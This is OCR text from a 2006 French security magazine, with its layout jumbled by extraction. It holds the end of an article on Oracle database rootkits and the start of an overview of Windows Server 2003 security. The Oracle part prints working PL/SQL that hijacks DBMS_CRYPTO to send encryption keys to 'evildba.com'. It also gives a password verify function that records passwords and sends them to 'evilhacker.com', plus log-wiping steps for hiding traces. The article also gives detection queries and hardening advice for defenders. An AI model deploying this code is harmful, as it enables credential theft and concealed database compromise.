Il est possible de cacher les processus
actifs en modifiant les vues V$SESSION,
GV _ $SESSION,
FLOW _ SESSIONS,
V_
$PROCESS. Les mêmes techniques,
autrement dit, les modifications de
vues et le changement de chemin
d'exécution sont aussi possibles.
Nettoyer le journal de traces
d’Oracle
Tableau 2. Déclencheurs potentiels pour les modifications
Vue de système
Description
DBA _ USERS
Affiche les utilisateurs de la base de données
ALL _ USERS
Affiche les utilisateurs de la base de données
DBA _ JOBS
Affiche toutes les tâches de la base de données
V$SESSION
Affiche tous les processus en cours de fonctionnement
V _ $PROCESS
Affiche tous les processus en cours de fonctionnement
DBA _ DIRECTORIES
Affiche tous les répertoires Oracle
ALL _ DIRECTORIES
Affiche tous les répertoires Oracle
DBA _ AUDIT _ TRAIL
Affiche toutes les informations d'audit
DBA _ EXTERNAL _ TABLES
Affiche toutes les tables externes
ALL _ EXTERNAL _ TABLES
Affiche toutes les tables externes
hakin9 Nº 1/2006
•
•
•
Listing 5. Créer une nouvelle table DBA_MYUSERS dans le schéma
de l'utilisateur (p. ex. SYSTEM)
32
rootkits typiques réniflent également
les mots de passe dans le système.
On va décrire brièvement les composants suivants :
www.hakin9.org
Pendant le processus de connexion
dans la base de données, tout est
connecté au listener.log de TNS-Listeners (si la connexion est activée).
L'approche typique des intrus consiste à supprimer ces traces. Oracle
propose des possibilités différentes
de le faire. La manière la plus facile
consiste à utiliser le paquet utl_file. Ce
paquet permet de lire (UTL _ FILE.GET _
LINE), d'écrire (UTL _ FILE.PUT _ LINE)
ou de supprimer (UTL _ FILE.FREMOVE)
les fichiers. Le fichier de journal de
traces n'est pas fermé par le listener
TNS ; pour cette raison, il est possible
de modifier le contenu au démarrage.
Nettoyer le SGA d'Oracle
Les traces d'une attaque sont également laissées dans la mémoire de la
base de données (SGA, System Global Area). Toutes les déclarations SQL
Rootkits sous Oracle
émises par tous les utilisateurs peuvent être demandées en sélectionnant
la vue V _ $SQLAREA . Afin de supprimer
ces traces du SGA, il suffit d'effacer
la zone partagée (en anglais shared
pool) via la commande suivante :
ALTER SYSTEM FLUSH SHARED_POOL;
N'oubliez pas que la suppression de
la zone partagée influence négativement la performance de la base de
données et les utilisateurs se plaignent parfois de ce problème.
Nettoyer les fichiers Redo-Log
d’Oracle
Figure 6. Chemin d'accès de Oracle
Toute transaction modifiant la base
de données est stockée dans le
fichier Redo-Log ainsi que dans le
journal d'archives, si la base de données travaille en mode d'archives.
Généralement, un intrus dissimule
ces traces aussi. Pour ce faire, la
commande suivante force la base de
données de passer au Redo-Log.
ALTER SYSTEM SWITCH LOGFILE;
Une fois le rootkit installé, le Redo-Log
est activé jusqu'à ce que les fichiers
Redo-Log soient remplacés dans tous
les groupes Redo-Log. Si la base de
données fonctionne en mode d'archives de traces, il est nécessaire de
supprimer le dernier fichier d'archives
à l'aide du paquet utl_file.fremove.
Figure 7. Appel dbms_crypto depuis une application
Intercepter les appels de
paquet d'Oracle
Au sein de la base de données Oracle, il est possible d'intercepter tous
les appels de paquet (Package Interception), de modifier ou de tracer
les paramètres et d'appeler le paquet
original. Cette démarche pourrait être
utilisée pour falsifier les sommes de
contrôle (p. ex. MD5) ou pour intercepter les clés de chiffrement ou les
mots de passe. Les privilèges DBA
sont souvent exigés car le schéma de
l'application est modifié.
La Figure 7 illustre comment on
appelle une fonction encrypt depuis
une application. La fonction encrypt
passe la valeur non chiffrée et la clé
de chiffrement. D'après la résolution
Figure 8. Appel dbms_crypto depuis une application, toutes les clés sont
interceptées
www.hakin9.org
hakin9 Nº 1/2006
33
Focus
Listing 7. Interception des spécifications des packages dbms_crypto
qui envoient toutes les clés de chiffrement au serveur Web externe
CREATE OR REPLACE PACKAGE DBMS_CRYPTO AS
-- Serveur Web Server destiné à l'enregistrement de frappes
KEYWEBSERVER CONSTANT VARCHAR2(40) :='http://www.evildba.com/';
KEYRC VARCHAR2(32767);
-- Fonctions de hachage
HASH_MD4
CONSTANT PLS_INTEGER := 1;
HASH_MD5
CONSTANT PLS_INTEGER := 2;
HASH_SH1
CONSTANT PLS_INTEGER := 3;
-- Fonctions MAC
HMAC_MD5
CONSTANT PLS_INTEGER := 1;
HMAC_SH1
CONSTANT PLS_INTEGER := 2;
(...)
Listing 8. Interception du corps de package dbms_crypto qui envoie
toutes les clés de chiffrement au serveur Web externe
CREATE OR REPLACE PACKAGE BODY DBMS_CRYPTO AS
FUNCTION Encrypt (src IN
RAW,
typ IN
PLS_INTEGER,
key IN
RAW,
iv IN
RAW
DEFAULT NULL)
RETURN RAW AS
BEGIN
keyrc:=utl_http.request §
(KEYWEBSERVER||'user='||user||'/'||'/key=' §
||UTL_RAW.cast_to_varchar2(key)||'/iv=' §
||UTL_RAW.cast_to_varchar2(iv)||'/typ='||typ);
RETURN SYS.dbms_crypto.encrypt(src,typ,key,iv);
END;
(...)
Tableau 3. Cibles possibles d'interception de paquets, dépendant de la
version et des composants installés
34
Nom du Paquet
Description
dbms_crypto
Il intercepte les clés de chiffrement
dbms_obfuscation_toolkit
Il intercepte les clés de chiffrement
utl_http
Il intercepte les mots de passe du proxy
HTTP
dbms_aqadm
Il intercepte des mots de passe LDAP
dbms_ldap_utl
Il intercepte des certificats LDAP
utl_dbws
Il intercepte des mots de passe/comptes
Webservices
dbms_epg
Il intercepte des mots de passe mod_plsql
htmldb_util
Il intercepte des mots de passe HTMLDB
wwv_flow_security
Il intercepte des mots de passe HTMLDB
mgmt_rec
Il intercepte des mots de passe SYSDBA
et Host
mgmt_login_assistant
Il intercepte des mots de passe et comptes
Metalink
hakin9 Nº 1/2006
www.hakin9.org
habituelle de nom, on trouve un synonyme public qui se réfère au package SYS.DBMS _ CRYPTO. Ce paquet se
réfère à son tour au paquet DBMS _
CRYPTO _ FFI, qui appelle la bibliothèque de confiance (en anglais trusted
library)
CRYPTO _ TOOLKIT _ LIBRARY
(voir la Figure 8). La clé de chiffrement passe toujours en clair.
Le code source prévu pour intercepter des clés est très simple. Copiez
la spécification de paquet au paquet
original ($ORACLE_HOME/rdbms/
admin) et ajoutez la valeur d'un serveur
Web auquel on envoie toutes les données interceptées. Le contenu du package reproduit toutes les fonctions et
les procédures, à une différence près.
Tous les paramètres passeront au serveur Web. Pour ce faire, on appellera
la fonction utl _ http.request. Ensuite,
on appellera le paquet original par le
nom complet. Regardez les Listings 7
et 8 pour avoir plus de détails et
d'exemples.
Il est possible d'intercepter tous
les paramètres transmis au moyen
de la fonction d'interception de
paquet. Le Tableau 3 présente des
paquets potentiels, permettant d'intercepter des informations sensibles,
telles que les mots de passe ou les
clés de chiffrement. Cette liste ne
contient qu'un sous-ensemble des
cibles possibles.
Renifleur de mots de passe
d’Oracle
La base de données d’Oracle est
dotée d'une caractéristique utilisée
rarement, Password Verify Function, destinée à contrôler la complexité d'un mot de passe (p. ex.
au moins 8 caractères, 1 caractère spécial). Cette fonctionnalité
sera implémentée avec la fonction
PL/SQL. Tous les mots de passe
sont donc transmis en clair à cette
fonction. Un intrus pourrait s'en servir pour stocker tous les nouveaux
mots de passe dans un fichier ou
dans une table ou d'envoyer les
mots de passe et leurs comptes
à un serveur Web étranger, si la base de données dispose d'un accès
à l’Internet. Le Listing 9 présente
un exemple d'une fonction ; elle est
Rootkits sous Oracle
chargée de tracer toutes les modifications des mots de passe de la
base de données dans une table.
Découvrir les rootkits
d'Oracle
Après une interruption dans une
base de données, un administrateur
de base de données devrait vérifier
la base entière le plus tôt possible,
examiner scrupuleusement tout objet de la base de données du point
de vue de modifications et vérifier
les objets créés récemment. Il est
possible d'effectuer une simple vérification des utilisateurs cachés au
moyen des déclarations présentées
sur le Listing 10.
Un développeur pourrait rendre
ses applications moins sensibles aux
rootkits en utilisant une des lignes directrices de développement :
•
•
•
•
utiliser des appels complets de
fonctions (p. ex. SYS.dbms _ crypto
au lieu de dbms _ crypto).
Utiliser des noms non évidents
pour les fonctions, les procédures et les tables des objets
critiques (p. ex. func107 au lieu de
encrypt).
Utiliser le SQL dynamique pour
les fonctions critiques afin d'éviter des dépendances.
Utiliser des tables de base au
lieu des vues pour les objets
critiques (p. ex. SYS.USER$ au
lieu de DBA _ USERS).
Conclusion
Les rootkits d'Oracle peuvent
constituer une menace importante
pour les bases de données d’Oracle parce qu'ils sont très difficiles
à supprimer. Chaque administrateur
de bases de données soigneux
devrait bien protéger ses bases
de données d’Oracle ; il devrait,
par exemple, appliquer des correctifs de sécurité, modifier les
mots de passe assez fréquemment par défaut et protéger le
fichier TNS-Listener (jusqu'à 9i)
à l'aide d'un mot de passe. De plus,
il devrait vérifier régulièrement les
modifications du dictionnaire de
données et des schémas. l
Listing 9. Password Verify Function stocke tous les mots de passe en
clair de tous les utilisateurs dans une table HACKER.SNIFFED
-- créer une fonction de contrôle de mots de passes
-- (ou en modifier une existante)
CREATE OR REPLACE FUNCTION verify_function
(username varchar2, password varchar2, old_password varchar2)
RETURN boolean IS
BEGIN
-----
stocker tous les mots de passe dans une nouvelle table
ou envoyer les mots de passe via utl_http.request à un serveur étranger
utl_http.request
('http://www.evilhacker.com/user='||username||'#password='||password)
insert into hacker.SNIFFED_passwords
values(username, password, old_password);
RETURN(TRUE);
END;
-- Appliquer la fonction de contrôle de mots de passe à un profile par défaut
-- toutes les modifications des mots de passe de tous
-- les comptes utilisant les profiles par défaut
-- sont maintenant stockées dans la table sniffed_passwords
ALTER PROFILE DEFAULT LIMIT PASSWORD_VERIFY_FUNCTION verify_function;
Listing 10. Présenter les différences entre SYS.USER$ et leurs vues
respectives
SELECT NAME "Invisible user in DBA_USERS"
FROM SYS.USER$
WHERE TYPE#=1
MINUS SELECT USERNAME FROM SYS.DBA_USERS;
SELECT NAME "Invisible user in ALL_USERS"
FROM SYS.USER$
WHERE TYPE#=1
MINUS SELECT USERNAME FROM SYS.ALL_USERS;
À propos de l'auteur
Alexander Kornbrust est fondateur et PDG de Red-Database-Security GmbH,
une société spécialisée en sécurité Oracle. Il est responsable des audits de
sécurité Oracle et des formations anti-piratage Oracle. Alexander Kornbrust
travaille sur les produits Oracle depuis 1992 sur le poste d'administrateur de bases de données et développeur. Avant d'avoir fondé Red-Database-Security, il
avait travaillé pour Oracle Deutschland et Oracle Switzerland pendant plusieurs
années.
Sur Internet
•
•
•
•
http://www.red-database-security.com/wp/oracle_circumvent_encryption_us.pdf
– contourner le chiffrement de la base de données Oracle,
http://www.red-database-security.com/repscan.html – repscan découvre les
modifications dans le dictionnaire de données Oracle (p. ex. rootkits),
http://www.oracle.com /technology/deploy/security/db_security/htdocs/
vpd.html – description de Virtual Private Database,
http://www.oracle.com/technology/tech/pl_sql/htdocs/ncomp _faq.html – description de PL/SQL Native Compilation.
www.hakin9.org
hakin9 Nº 1/2006
35
Sécurité de
Windows Server 2003
Focus
Rudra Kamal Sinha Roy
Degré de difficulté
Windows Server 2003 n'est pas une nouvelle plate-forme, dans
la mesure où cette application a aujourd'hui presque trois ans.
Toutefois, certains lecteurs seraient sans doute tentés de croire
qu'évoquer sa sécurité n'est pas d'actualité. Ce qui est faux.
Le temps approche où de nombreux hommes d'affaire seront
contraints d'abandonner Windows 2000 Server, avec la perte du
support. Leur choix se portera alors, en toute logique, sur Windows
Server 2003.
L
es systèmes d'exploitation Windows en
32 bits ont été originellement conçus et
vendus pour une utilisation commerciale
hautement fiable sans héritage DOS. Après
Windows NT 3.1, NT 3.5, NT 3.51, NT 4.0,
Microsoft a alors décidé de combiner ses systèmes d'exploitation entreprise et utilisateur. La
première tentative, Windows 2000, n'a malheureusement pas été à la hauteur des objectifs
escomptés, et a donc été vendue sous forme
de système entreprise.
L'édition familiale de Windows 2000, dont
le nom de code était Windows Neptune, a vu
son développement stoppé, et Microsoft a
sorti à sa place Windows Me. En définitive,
Neptune a été ajouté dans leur nouveau projet, Whistler, devenu plus tard Windows XP.
Depuis cette époque, un nouveau système
entreprise, appelé Windows Server 2003, est
venu enrichir la gamme, qui sera complété
par la sortie imminente de Windows Longhorn Server.
Toutefois, la plupart des sociétés utilisent toujours Windows 2000. Seul un petit
nombre d'entreprises ont adopté Windows
Server 2003 au cours de ces deux dernières années et demi, dû à l'occultation faite
36
hakin9 Nº 1/2006
par toute la publicité autour de Windows XP.
Selon une étude menée par AssetMetrix, lors
du premier trimestre de 2005, 48% des PC
entreprise étaient dotés de Windows 2000,
soit quatre points de moins par rapport au
Cet article explique...
•
•
•
•
les améliorations introduites dans Windows
Server 2003 et dans quelle mesure ces améliorations rendent Windows Server 2003 plus sûr
que ces prédécesseurs,
les faiblesses restantes de Windows Server
2003, qui le rendent exploitable,
comment ces faiblesses restantes peuvent être
exploitées en pratique,
ce que peut faire un administrateur de Windows
Server 2003 pour sécuriser son serveur.
Ce qu'il faut savoir...
•
•
•
www.hakin9.org
vous devriez savoir comment fonctionnent les
versions précédentes de Windows,
vous devriez connaître les règles de base du
fonctionnement d'un système d'exploitation,
vous devriez savoir comment fonctionne la
gestion de mémoire.
Sécurité de Windows Server 2003
Différentes approches de la sécurité
En matière de réseaux et de sécurité des systèmes d'exploitation, il existe deux
approches classiques qui peuvent se suivre, fondées sur deux philosophies différentes. Ni l'une, ni l'autre n'est vraie ou fausse. L'approche la plus appropriée pour
un ordinateur ou un réseau donné dépend, en effet, des circonstances, des besoins
et des priorités de l'organisation ou de l'utilisateur final. Le choix repose principalement sur une situation donnée, un accès ou un contrôle particulier :
•
•
L'accès comme première priorité : dans ce cas de figure, le choix de l'utilisateur se portera sur un système ouvert par défaut, dans lequel les mesures
de sécurité sont implémentées selon ses besoins spécifiques. L'utilisateur
débute avec tous les éléments accessibles, puis détermine ce qui ne devrait
pas être accessible.
Le contrôle (sécurité) comme première priorité : dans ce cas de figure, le
meilleur choix est sans conteste un système fermé par défaut, basé sur le
principe du moindre privilège. L'utilisateur débute avec tous les éléments verrouillés, puis n'ouvre que les applications réellement nécessaires.
Ces deux approches servent généralement deux objectifs opposés en matière
du continuum de la sécurité. Plus l'utilisateur contrôle le réseau ou le système
d'exploitation, plus il le sécurise des dangers de l'informatique dans un environnement interconnecté (ce qui comprend les intrus, les pirates, les virus, et autres
éléments malveillants), et moins il le rend accessible. Mais, d'un autre côté, plus
vous voulez faciliter l'accès des employés, des clients, des partenaires, ou des
autres personnes aux ressources, moins ces dernières seront contrôlées et donc
sécurisées.
Le compromis est inévitable. La première étape consiste donc à déterminer la
priorité la plus importante et vos besoins dans le continuum. Le système idéal serait
entièrement convivial pour les personnes autorisées et absolument impénétrable
envers toute autre personne, mais un tel système n'existe pas, et ne peut d'ailleurs
pas exister.
troisième trimestre de 2003. Cette
tendance prouve que la popularité de Windows 2000 commence
à s'essoufler très lentement et
que les utilisateurs en entreprise
semblent craindre de migrer vers
de nouveaux environnements Windows.
Autre problème avec Windows
2000, Microsoft a abandonné les
futurs supports pour ce système
il y a quelque temps déjà. Il était
question de lancer SP5, ce qui s'est
effectivement passé. Et en juin 2005,
Windows 2000 se trouve dans la
phase de support étendu de son
cycle de vie, autrement dit, les packs
de services ou autres programmes
de corrections libres relatifs à des
problèmes non-sécuritaires ne seront plus distribués. Le temps où il
n'y aura plus de rustine de sécurité
approche à grand pas.
Il semble donc que la seule
option dont disposent les entrepri-
ses soucieuses de sécuriser leur
serveur est de choisir la nouvelle
génération de systèmes de serveur
Microsoft. La sortie de Longhorn
est prévue pour 2007. De nombreuses sociétés n'attendront pas
si longtemps. Leur choix va donc
logiquement se porter sur Windows
Server 2003, dans la mesure où
Windows XP n'a pas été conçu
pour une utilisation serveur.
Le présent article présentera
donc les aspects sécuritaires de
Windows Server 2003, ses toutes
dernières vulnérabilités connues,
et vous démontrera si ce système,
presque trois ans après sa sortie,
vaut vraiment la peine d'être adopté
par rapport à Windows 2000, ou
s'avère un choix judicieux pour y
porter de nouveaux projets.
Aujourd'hui, la première priorité
pour la plupart des sociétés est la
sécurité (voir l'Encadré Différentes
approches de la sécurité). Microsoft
www.hakin9.org
a tenté de répondre à cette attente
de différentes manières, en commençant par l'initiative Trustworthy
Computing. Windows Server 2003
traduit un gros effort de la part de
Microsoft, afin de proposer un environnement informatique sécurisé,
par rapport à ses prédécesseurs,
mais présente toujours des défauts
dans certains scénarios.
Une des grandes modifications
très visibles dans Windows Server
2003 est la différence entre les réglages par défaut. Pour vous rafraîchir la mémoire, c'est précisément
sur ce point que Microsoft, encore
une fois, s'est révélé vulnérable
avec le temps, puisque les pirates
sont généralement parvenus à exploiter ces défauts de services. Les
différences de réglages par défaut
d'un serveur livré clé en main par
rapport aux versions précédentes
seront vous présentées dans le
présent article, et il vous sera démontré dans quelles mesures ces
nouveaux réglages permettent de
sécuriser le système d'exploitation,
tout en provoquant certains désagréments aux administrateurs et
aux utilisateurs finaux du système,
soudain incapables d'obtenir un accès autrefois disponible sans configuration supplémentaire dans les
versions précédentes. On présentera brièvement les modifications
par défaut réalisées sur Windows
Server
2003,
principalement
concentrées sur les réglages de
services, l'authentification, et plus
particulièrement le système intégré
d'information. Il est important de
noter que le système intégré d'information est une des sources les
plus connues d'exploitation dans la
plupart des systèmes de serveurs
Windows.
Nouveautés et
améliorations
Windows Server 2003 est basé sur
Windows 2000 Server, mais comporte également certaines fonctionnalités empruntées à Windows XP,
ainsi qu'une compatibilité. Mais
surtout, Windows XP apporte plus
de sécurité. Aucun composant du
hakin9 Nº 1/2006
37
Focus
serveur n'est basé sur la période
de démarrage, ce qui permet de
réduire les vecteurs d'attaques lors
de nouvelles installations. D'autres
améliorations de sécurité ont également été introduites. Les voici listées
ci-après.
Réglages par défaut des
services communs
Une des modifications apportées
sous Windows Server 2003 est le
nombre réduit de services fonctionnant désormais sur le compte du
système local (NT AUTHORITY\
SYSTEM). Une grande majorité des
services avait recours à ce compte
sous Windows 2000. Les programmes fonctionnant dans ce contexte
disposent de privilèges illimités sur
l'ordinateur local, ce qui présente
un risque évident en terme de sécurité. Au lieu d'utiliser le compte
du système local, certains services
communs ont désormais recours
au service local (NT AUTHORITY\
LOCAL SERVICE), ou compte de
réseau local (NT AUTHORITY\
NETWORK SERVICE). Ces comptes disposent d'un niveau de privilèges réduit par rapport au compte
du système local.
Il existe toujours de nombreux
services connectés au système local
(comme par exemple, les services de
mises à jour automatiques, de navigateur de l'ordinateur, du client DHCP
(Dynamic Host Configuration Protocol), pour ne citer qu'eux). Toutefois, plusieurs autres services ne
fonctionnent plus de la sorte. Par
exemple, la fonction Alerte, qui
a recours au compte du système
local sous Windows 2000, fait désormais appel au compte de service
local sous Server 2003, ainsi que le
système de noms de domaine, qui lui
aussi utilisait le compte du système
local sous Windows 2000, utilise désormais le compte de service réseau
sous Server 2003. Ces modifications
apportent une meilleure sécurité.
Modifications apportées au
processus d'authentification
Le processus d'authentification a été
amélioré pour offrir une meilleure sé-
38
hakin9 Nº 1/2006
curité, au moment de se connecter
sur l'ordinateur local, et au moment
de se connecter dans un domaine.
La modification la plus importante
apportée à l'authentification de l'ordinateur local concerne l'incapacité
à utiliser des mots de passe vides
au moment d'accéder au système
à distance (il est, toutefois, intéressant de remarquer que les mots de
passe vides peuvent être utilisés sur
la console).
Les authentifications multiforêt (voir l'Encadré Définition
des authentifications multiforêt)
représentent une nouvelle fonctionnalité pour l'authentification
sur le domaine du Répertoire Actif. L'authentification par forêt fait
appel à Kerberos, version 5 (voir
l'Encadré Définition de Kerberos),
chargée de lancer les requêtes
d'authentification à travers les
forêts. Les administrateurs peuvent alors contrôler la portée de
l'authentification entre deux forêts
dotées d'une relation de confiance,
au moyen d'une authentification sélective. Lorsque l'option d'authentification sélective est activée, il est
alors possible de paramétrer les
permissions manuellement sur les
domaines et les ressources pour
lesquelles l'administrateur souhaite
donner un accès aux utilisateurs
d'une autre forêt.
Modifications apportées au
système intégré d'information
Parmi les modifications les plus remarquables, il faut noter les réglages
par défaut dans le système d'information intégré, version 6.0. Le serveur Web est désormais installé par
défaut au moment de l'installation
des éditions Standard, Enterprise
et Datacenter de Windows Server
2003 (il est installé dans l'édition
Web Server, pour des raisons évidentes). Cette modification permet
d'éliminer les occurrences bien trop
courantes dans lesquelles les administrateurs lancent par inadvertance
des serveurs Web malveillants sur
le réseau.
Si vous installez le système intégré d'information, version 6.0, vous
www.hakin9.org
Définition des authentifications multiforêt
Windows Server 2003 supporte
un nouveau type de mécanisme
d'authentification dénommé authentification multiforêt. Le terme de
forêt sert à décrire une hiérarchie
de domaines sous Windows Active
Directory, dans laquelle un groupe de
domaines ayant le même nom DNS
est désigné par le terme d'arbre. Lorsque plusieurs forêts sont paramétrées
dans une organisation (généralement
à des fins de sécurité ou via une fusion
d'organisations), les authentifications
entre les deux organisations doivent
être gérées soit manuellement, soit
en utilisant un nouveau mécanisme
d'authentification multiforêt chargé
d'automatiser le processus (chaque
domaine contenu dans une forêt A est
doté d'une relation de confiance implicite avec chaque domaine contenu
dans la forêt B).
Définition de Kerberos
Kerberos est un protocole d'authentification réseau capable de proposer
une forte authentification au moyen
de la cryptographie par clé secrète,
afin d'authentifier les entités client
et serveur et de crypter leurs communications. Ce protocole a été conçu
pour résoudre les problèmes de sécurité grâce à la technique d'authentification par assertion, qui nécessite
évidemment une ouverture de session distincte pour chaque service
en réseau, en obligeant un utilisateur
à se connecter à un seul domaine ou
royaume. Une fois l'utilisateur connecté au domaine ou au royaume,
un seul service identifie l'utilisateur
à sa place comme si ce dernier avait
accès aux ressources.
le trouverez par défaut en mode
locked down dans lequel les composants de contenus dynamiques
tels que ASP, WebDAV et les extensions FrontPage sont désactivés.
Le système intégré d'information,
version 6.0 comprend également
une nouvelle méthode d'authentification ainsi qu'une autorisation
URL pour une meilleure sécurité.
Sécurité de Windows Server 2003
Services par défaut sous Windows Server 2003
Services fonctionnant en service local
•
•
•
•
•
•
•
•
•
•
•
•
•
Fonction d'alerte,
Service d'application couche passerelle,
Inscription à distance,
Carte Smart,
Assistant de carte Smart,
Service de découverte SSDP,
Assistant TCP/IP NetBIOS,
Telnet,
UPS,
Universal Plug and Play,
Client Web,
Acquisition d'images Windows,
Service d'auto-recherche de serveurs mandataires WinHTTP.
Services fonctionnant en réseau
•
•
•
•
•
•
Client DHCP,
Coordinateur de Transaction Distribuée,
Client DNS,
Connexion de licence,
Journaux de performance et fonctions d'alerte,
Releveur de coordonnées RPC.
Services désactivés par défaut
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
Service intégré d'information non-installé par défaut,
Fonctions d'alerte,
Clipbook,
Serveur de pistage des liens distribués,
Accès au dispositif des interfaces utilisateurs,
Service de gravure de CDROM Imapi,
ICF/ICS,
Messagerie intersites,
Connexion de licences,
Messagerie,
Partage de NetMeeting sur bureau à distance,
Réseau DDE,
Réseau DDE DSDM,
Démarrage et accès à distance,
Telnet,
Découverte de session de service terminal,
Thèmes,
Client Web,
Acquisition d'Images Windows (Windows Image Acquisition ou WIA),
Le centre de distribution de clés de Kerberos est également désactivé par défaut,
puis automatiquement activé sous DCPromo.
Une des principales fonctionnalités
intégrées dans la conception du
système intégré d'information, version 6.0, est le pilote HTTP en mode
noyau, HTTP.sys. Cette fonctionnalité permet non seulement d'améliorer la performance du serveur Web
et ses propriétés d'extensibilité,
mais également de renforcer la sécurité du serveur. HTTP.sys agit
comme une passerelle entre les requêtes des utilisateurs et le serveur
Web. Il commence tout d'abord par
analyser la requête, puis la distribue
vers les processus de travail adapté
au niveau de l'utilisateur. Les restrictions des processus apportées
au mode utilisateur permettent
d'empêcher les utilisateurs d'avoir
accès à des ressources privilégiées
www.hakin9.org
dans le noyau du système. L'espace
ciblé par un pirate tentant d'obtenir
un accès privilégié au serveur est
par conséquent considérablement
limité.
Modifications apportées
à l'inscription au groupe
Everyone
Dans les versions précédentes de
Windows, le groupe intégré Everyone permettait littéralement à
tout un chacun d'avoir accès au
système, y compris les utilisateurs anonymes. Sous Windows
Server 2003, le groupe Everyone
ne comprend plus les utilisateurs
anonymes. Ainsi, même si des
permissions sont accordées au
groupe Everyone, ceux connectés
anonymement ne disposent plus de
ces permissions. Ils font désormais
partie du groupe appelé Anonymous Logon, autre groupe intégré
dont les membres sont définis.
Dans
l'environnement
d'un
domaine Windows Server 2003,
il est possible de permettre à des
membres du groupe Anonymous
Logon de devenir membres du
groupe Everyone sur un contrôleur
de domaine, en éditant la politique
de sécurité du domaine (Start ->
Programs -> Administrative Tools
-> Domain Security Policy). Dans
le panneau gauche de la console, il
suffit d'étendre les nœuds suivants :
Default Domain Controller Policy,
Computer Configuration, Windows
Settings, Security Settings, Local
Policies, puis de cliquer sur Security Options. Dans le panneau
des détails, il faut ensuite accéder
à Network Access d'un clic droit
afin de permettre aux permissions
du groupe Everyone de s'appliquer
aux utilisateurs anonymes. Sélectionnez Properties, puis contrôlez la
boîte intitulée Define this policy et
choisissez Enabled afin d'appliquer
la politique.
Bien que Windows Server 2003
ait apporté ces modifications de
sécurité ainsi que bien d'autres
changements, une question demeure. Cet effort suffira-t-il ?
– à priori non. En effet, en premier
hakin9 Nº 1/2006
39
Focus
lieu, il y avait une configuration
prête à l'emploi relativement sécurisée. Très bien, me direz-vous. Mais,
est-il réellement nécessaire de
conserver le serveur fraîchement
chargé tel quel, sans le rendre utile
à quelques services spécifiques ?
Il est important de prendre conscience que la plupart des systèmes d'exploitation de type serveur
servent des objectifs utilisateur,
qu'ils soient configurés en tant que
serveur Web ou qu'ils hébergent un
certain nombre d'autres applications intranet/Internet.
Quels sont les défauts
des services ?
Avec l'introduction des services,
tout a commencé à empirer. On va
se limiter dans le présent article aux
seuls services propres à Microsoft.
Est désignée par service toute application fonctionnant en arrière plan,
indépendante d'une quelconque
session utilisateur. Dans la mesure
où les services se lancent de façon
non gardé au démarrage, ils sont
tout à fait adaptés à des applications
de type serveur telles qu'un serveur
Web. Mais, les services présentent
également des désavantages, dans
la mesure où un utilisateur n'est pas
forcément conscient de leur fonctionnement.
Sans aucune interaction de l'utilisateur, il serait possible de faire
fonctionner un certain nombre de
services par défaut sans jamais
en connaître les risques potentiels
pour la sécurité. Ces risques ont
été révélés avec la prolifération de
vers sur Internet tels que Code Red
et Nimda, exploitant les utilisateurs
ignorant que des services Web
tournent sur leur poste de travail.
Ces postes de travail infectés répandaient à leur tour le ver dans
des milliers d'autres systèmes via
Internet. Afin de réduire la surface
d'attaque par défaut de Windows
Server 2003, Microsoft a désactivé
19 services, et réduit plusieurs services de manière à fonctionner avec
de faibles privilèges (voir l'Encadré
Services par défaut sous Windows
Server 2003).
40
hakin9 Nº 1/2006
Attaques par débordement de la mémoire tampon
Il existe deux principales attaques par débordement de la mémoire tampon : le débordement de la pile et celui du tas.
Débordement de la pile
Écraser la pile est le type de vulnérabilité le plus répandu et le plus connu sur les logiciels actuels. L'objectif d'une telle attaque est de provoquer un débordement de la
mémoire tampon suffisant pour que le registre de pointeur de l'instruction EIP situé
sur la pile soit écrasé par l'adresse d'un shellcode fourni arbitrairement. Lorsqu'une
fonction appelée revient, l'adresse située dans le registre EIP est alors exécutée de
sorte à lancer le shellcode fourni avec les privilèges du processus d'attaque. Si un
processus vulnérable est doté des privilèges root suid/sgid, la manœuvre peut se
révéler désastreuse pour le système.
Débordement du tas
Le débordement du tas est très semblable au débordement de la pile. Toutefois, au
lieu d'écraser l'EIP sur la pile, les zones allouées par le processus sont écrasées
(comme si elles avaient été allouées via un appel vers malloc()). En provoquant le
débordement d'une mémoire tampon allouée dynamiquement, les données peuvent
se diriger vers la prochaine section allouée contiguë sur le tas. Ceci permet au pirate de modifier le contenu des ces sections.
Exploitation des services
Les services de Windows sont exploités en manipulant un service de
sorte qu'il lance une commande ou
qu'il accède au système de fichiers
afin de lire ou d'écrire sur un fichier
protégé. Dans la mesure où la plupart des services sont lancés dans
le contexte sécurisé du compte
SYSTEM, ces derniers sont généralement dotés d'accès privilégiés vers
la plupart des fonctions du système.
Ce qui les rend particulièrement
intéressants pour les pirates. En
manipulant un service, un pirate a la
possibilité de renforcer ses propres
privilèges afin de faire à peu près
tout ce qu'il souhaite.
Par exemple, le Bulletin de
Sécurité de Microsoft MS02-006
mentionne un débordement de la
mémoire tampon dans le service
SNMP, susceptible de permettre
à un pirate d'exécuter à distance
des commandes grâce aux permissions du compte SYSTEM. Les
autres exploitations sont moins
graves, mais sont toujours capables
d'utiliser les défauts d'un service
afin d'autoriser d'autres actions malveillantes. Par exemple, des défauts
avaient été constatés par le passé
(ils ne concernent pas Windows
Server 2003, heureusement) dans
le service SMTP. Ils permettaient
www.hakin9.org
aux polluposteurs de dissimuler leur
identité en relayant les emails via le
serveur.
Le plus difficile pour les pirates
est d'obtenir un accès au service.
Pour la plupart des services Internet,
il suffit de se connecter au port TCP
affecté. Mais pour d'autres services,
il faut être muni de l'accès à la console locale pour pouvoir provoquer
des exploitations dévastatrices. Afin
de protéger un service, il faut bien
sûr connaître ses exploitations éventuelles et réduire ainsi son exposition
à ces exploitations.
Présentation des exploitations
Les attaques par débordement de
la mémoire tampon (voir l'Encadré
Attaques par débordement de la
mémoire tampon) comptent parmi
les mécanismes, ou les vecteurs les
plus répandus, permettant de s'introduire dans les ordinateurs. Dans ce
genre d'exploitation, le pirate envoie
une chaîne vers un flux de données
en entrée ou vers une commande,
plus longue que ce que la mémoire
tampon allouée ne peut contenir.
Cette chaîne longue injecte un code
dans le système, qui l'exécute, lançant de la sorte un virus ou un vers.
On présentera, dans le cadre de cet
article, le débordement de la pile et
du tas sous Windows, dans la me-
Sécurité de Windows Server 2003
sure où ces attaques deviennent de
plus en plus nombreuses et robustes
dans l'exploitation des systèmes
Windows.
Toutefois, l'introduction de Windows Server 2003, et du dernier
Windows XP SP2, a permis d'apporter un nouveau niveau de protection contre les attaques, que les
pirates seront désormais obligés de
contourner afin d'exploiter le débordement du tas sur ces systèmes.
On va donc analyser les principes
d'une exploitation classique du débordement du tas et vous verrez
